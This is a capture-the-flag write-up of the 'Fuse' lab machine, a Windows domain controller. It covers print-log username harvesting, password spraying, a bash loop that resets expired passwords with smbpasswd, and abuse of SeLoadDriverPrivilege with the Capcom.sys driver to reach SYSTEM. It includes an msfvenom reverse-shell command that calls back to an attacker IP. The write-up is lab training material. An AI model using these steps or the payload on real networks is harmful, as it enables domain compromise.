Summary

  • Fuse is a Windows Domain Controller machine with IIS listening on port 80.
  • When checking the website, we get redirected to a certain web page titled “PaperCut Print Logger”.
  • On that page, we find the printing activity of some domain users. That gets us an initial list of usernames, workstations and document names.
  • One of the documents’ name stuck out: "Fabricorp01.docx" which looked like a possible password/password scheme to try.
  • After spraying that password and others with the same pattern, We find that it was indeed used by 3 of the users. But was expired and had to be changed.
  • Using the linux smbpassswd utility, we were able to change passwords and gain access. But neither of the users had WinRM capability or valuable findings in their SMB shares.
  • However, after doing a Bloodhound collection and inspecting the output, we notice that there’s a potential path to Domain Administrator if we compromise the svc-print account. That’s because it has PowerShell Remoting access and is a member of the Print Operators AD group which hold the dangerous SeLoadDriver privilege.
  • Following the findings from Bloodhound and the theme of printing which was recurring throughout the machine, we enumerate the printers of the domain to find a password in a printers’ description field.
  • We run another password spray over all domain users with that password and get access to the svc-print account. We use it to gain a remote PowerShell session on the box.
  • We then abuse its SeLoadDriverPrivilege to load a vulnerable driver into the kernel and exploit that to get code execution as NT Authority\System.

NMAP

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-17 10:34:00Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49675/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc        Microsoft Windows RPC
49680/tcp open  msrpc        Microsoft Windows RPC
49698/tcp open  msrpc        Microsoft Windows RPC
49754/tcp open  msrpc        Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-08-17T10:34:56
|_  start_date: 2022-08-17T10:14:17
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_clock-skew: mean: 2h32m59s, deviation: 4h02m30s, median: 12m58s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Fuse
|   NetBIOS computer name: FUSE\x00
|   Domain name: fabricorp.local
|   Forest name: fabricorp.local
|   FQDN: Fuse.fabricorp.local
|_  System time: 2022-08-17T03:34:53-07:00

Spotting DNS, kerberos and LDAP is a dead giveaway of the box being a Domain Controller.

Nmap’s version detection and default scripts give us good information:

  1. The host name is fuse
  2. It’s very likely Windows Server 2016
  3. The domain name is fabricorp.local

we also know that WSMan is available on port 5985 which is good if we get a user with PowerShell Remoting access.

Let’s start enumeration!

SMB Enumeration

We do the quick standard checks for null, guest and anonymous authentication:

nothing there besides confirming OS version Windows Server 2016 Standard 14393 and knowing the processor architecture: x64

RPC Enumeration

Our favourite RPC enumeration tool enum4linux-ng didn’t yield much more information either.

We note down the Domain SID and move along.

enum4linux-ng.py -A fuse
ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... fuse
[*] Username ......... ''
[*] Random Username .. 'ujlfkgys'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ============================
|    Service Scan on fuse    |
 ============================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ============================================
|    Domain Information via LDAP for fuse    |
 ============================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: fabricorp.local

 ============================================
|    NetBIOS Names and Workgroup for fuse    |
 ============================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 =================================
|    SMB Dialect Check on fuse    |
 =================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
SMB 1.0: true
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB1 only: false
Preferred dialect: SMB 3.0
SMB signing required: true

 =================================
|    RPC Session Check on fuse    |
 =================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user session
[-] Could not establish random user session: STATUS_LOGON_FAILURE

 ===========================================
|    Domain Information via RPC for fuse    |
 ===========================================
[+] Domain: FABRICORP
[+] SID: S-1-5-21-2633719317-1471316042-3957863514
[+] Host is part of a domain (not a workgroup)

 ===================================================
|    Domain Information via SMB session for fuse    |
 ===================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: FUSE
NetBIOS domain name: FABRICORP
DNS domain: fabricorp.local
FQDN: Fuse.fabricorp.local

 =======================================
|    OS Information via RPC for fuse    |
 =======================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows Server 2016 Standard 14393
OS version: '10.0'
OS release: '1607'
OS build: '14393'
Native OS: Windows Server 2016 Standard 14393
Native LAN manager: Windows Server 2016 Standard 6.3
Platform id: null
Server type: null
Server type string: null

 =============================
|    Users via RPC on fuse    |
 =============================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED

 ==============================
|    Groups via RPC on fuse    |
 ==============================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED

 ==============================
|    Shares via RPC on fuse    |
 ==============================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user

 =================================
|    Policies via RPC for fuse    |
 =================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: STATUS_ACCESS_DENIED

 =================================
|    Printers via RPC for fuse    |
 =================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED

Completed after 24.97 seconds

LDAP Enumeration

The same went for LDAP: anonymous bind isn’t enabled :/

The Website

Having cleared away all the quick and simple checks, it’s time to take a look at port 80.

Right off the bat, we get redirected to /papercut/logs/html/index.htm.

we read the decription to know that live print logs are listed in the table below for us to check.

Checking the first one, we see usernames as well as document and computer names.

We do the same for the 2nd and 3rd log pages.

Our notes:

  • Usernames: pmerton, tlavel, bnielson, sthompson, bhult and administrator
  • Workstations: JUMP01, LONWK015, LONWK019, LAPTOP07 and of course FUSE

And Document names:

  • New Starter - bnielson
  • IT Budget Meeting Minutes
  • backup_tapes
  • mega_mountain_tape_request
  • Fabricorp01
  • offsite_dr_invocation
  • printing_issue_test

All document names seem pretty normal. Except for that Fabricorp01 :D

A gut feeling is telling us: “That’s a password!” XD

And if it wasn’t, it wouldn’t hurt to try Fabricorp02, Fabricorp03 and so on…

Why not spray?

Before delving into any password attacks, we’re better off verifying the usernames we got. We’re going to use kerbrute for that:

Awesome! every single one of them was valid!

Having a list of valid usernames and another with potential passwords, we get to spraying..

tlavel, bnielson and bhult seem to have that password Fabricorp01. But it’s expired.

We need to find a way to reset it.

RDP would’ve been nice here. But port 3389 isn’t open :/

After failing to reset the password dusing RPC’s setuserinfo2 command, we do some further research and come across a handy tool called smbpasswd.

It was built for administering Samba but Let’s take a look at its documentation:

Jackpot! This is exactly what we need. let’s see if it can do the job.

Awesome. We now have more room for enumeration.

Authenticated Information Gathering

Our access is now expanded with 3 users. We can try:

  1. Pulling the rest of the domain users and going for another Fabricorp0X spray.
  2. Enumerating all the SMB share access to check what’s there.
  3. Checking for WinRM access.
  4. Doing a Bloodhound collection to see what’s Kerberoastable, what’s ASREPRoastable, who has access to what etc.

And more.

However, there’s an obstacle.

As explained in the image above, something happens after we reset one user’s password. it changes back to what it was.

There’s automation going on. One that resets the password to the initial Fabricorp01 around every minute and requires it to be changed.

To handle this and make our lives easier, we’ll have to come up with automation of our own. Let’s look up the help for the smbpasswd utility to see what options it offers:

Turns out that, with the help of the -s flag, we can pass in passwords through stdin.

the old password + the new one + the confirmation would be fed to smbpasswd with a new line in between.

minding that a new password must be given every time we do a reset. Because Active Directory -by default- remembers the last 24 passwords you used on a given account. A feature called “Password History”.

So it’s better to have the password as a command line argument for our script.

Here’s what it looks like:

#!/bin/bash
for user in {'tlavel','bnielson','bhult'}; do
        echo -e "Fabricorp01\n$1\n$1" | smbpasswd -r fuse -U $user -s
        # any command we want to run with the new password before it gets reset
done

we’re targetting all the users there. Let’s check their SMB share access and if they can use WinRM

cme winrm fuse -u $user -p $1
cme smb fuse -u $user -p $1 --shares

The script ran well. However, none of the users had WinRM access and we didn’t find anything valuable in the SMB shares when we checked.

To prepare for a full domain password spray, We modify the script to target only one user and pull all the domain users using crackmapexec

We target all the remaining users with Fabricorp01 through Fabricorp09 but with no success :/

AD Enumeration with Bloodhound

We do a BloodHound collection from our Kali using Bloodhound.py. But don’t find anything exploitable with any of our owned users.

However, since the number of the users in the domain is relatively small, we inspected everyone up close.

Until we found svc-print

This account is our target to take over the domain.

Because it can:

  1. Gain a remote shell onto the Domain Controller (since it’s part of the “Remote Management Users” group)
  2. Perform privilege escalation by abusing the SeLoadDriverPrivilege (a privilege held by all members of the “Print Operators” group) to load malicious drivers into the kernel.

Right now, all of our attention is directed towards obtaining access to this account.

Printer Enumeration

Since printers have been mentioned way too many times in this machine (the website, SMB shares and in BloodHound), we have to do decent enumeration on them.

We can do that via RPC with a valid account.

Let’s re-run enum4linux-ng with credentials this time and see what comes up.

A password was there in the description :D

we should’ve redone this part after obtaining those users. Oh well :/

Naturally, we spray that password. To find both svc-print and svc-scan using it.

We used evil-winrm to get on the box and ignored svc-scan since it doesn’t hold any special privileges..

With this access, it’s time for some SeLoadDriverPrivilege abuse.

Evil Driver Pwnage

The amazing article by Tarlogic Cybersecurity explains the theory and details the steps of exploitation. Give it a read for the full picture.

But, in short, what we’re going to do is:

  • Download a vulnerable driver (Capcom.sys) here. -And, yes, it’s the game company :D- we’re deliberately using it because it can be exploited for Privesc.
  • Load it into the kernel with our held privilege using Tarlogic’s EoPLoadDriver tool
  • Exploit the driver using the public exploit from Tandasat ExploitCapcom (after making a few modifications to its code).

After downloading Capcom.sys, we compile the EoPLoadDriver.exe using Visual Studio

Then modify the ExploitCapcom code before compiling it to run a reverse shell executable rev.exe (instead of launching cmd.exe)

And generate the reverse shell using msfvenom

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.16.3 lport=9000 -f exe > rev.exe

We pack the 4 items into an archive and upload it to the victim

Now locked and loaded, we move rev.exe back one directory to be in C:\Users\svc-print\Documents (matching the path specified in the ExploitCapcom.exe executable)

And proceed to load Capcom.sys into the writable HKCU:\System\CurrentControlSet registry path using EoPLoadDriver.exe and naming it KillerDriver for dramatic effect XD

With the driver now in the kernel, we exploit it with ExploitCapcom.exe which runs the rev.exe to give us a nice reverse shell :D

I guess we blew up a FUSE :P

Ahem! It was a good box :D